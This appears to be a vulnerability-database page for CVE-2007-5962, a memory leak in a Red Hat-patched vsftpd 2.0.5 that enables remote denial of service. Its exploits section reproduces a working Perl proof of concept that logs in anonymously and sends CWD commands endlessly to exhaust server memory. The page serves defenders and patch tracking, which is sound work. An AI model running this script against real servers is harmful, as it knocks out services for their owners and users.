CVE-2007-5962
Description
Memory leak in a certain Red Hat patch, applied to vsftpd 2.0.5 on Red Hat Enterprise Linux (RHEL) 5 and Fedora 6 through 8, and on Foresight Linux and rPath appliances, allows remote attackers to cause a denial of service (memory consumption) via a large number of CWD commands, as demonstrated by an attack on a daemon with the deny_file configuration option.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1)
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2)
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption
#!/usr/bin/perl -w
#######################################################################################
# vsftpd 2.0.5 FTP Server on Red Hat Enterprise Linux (RHEL) 5, Fedora 6 to 8,
# Foresight Linux, rPath Linux is prone to Denial-of-Service(DoS) vulnerability.
#
# Can be xploited by large number of CWD commands to vsftp daemon with deny_file configuration
# option in /etc/vsftpd/vsftpd.conf or the path where FTP server is installed.
#
# I tried to modify local exploit found at securityfocus such that we can remotely exloit
#
# Author shall not bear any responsibility
# Author: Praveen Darshanam
# Email: praveen[underscore]recker[at]sify.com
# Date: 07th June, 2008
#
#
########################################################################################
use Net::FTP;
$ftp=Net::FTP->new("$ARGV[0]",Debug=>0) || die "Cannot connect to Host $ARGV[0]\n Usage: $perl script_name.pl target_ip\n";
$ftp -> login("anonymous","anonymous") || die "Could not Login...Retry";
while(1)
{
#this loop runs infinitely
$ftp -> cwd();
}
$ftp->quit;
# milw0rm.com [2008-06-14]OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 0 |
| sid | Fixed | 0 |
| forky | Fixed | 0 |
| bullseye | Fixed | 0 |
| bookworm | Fixed | 0 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.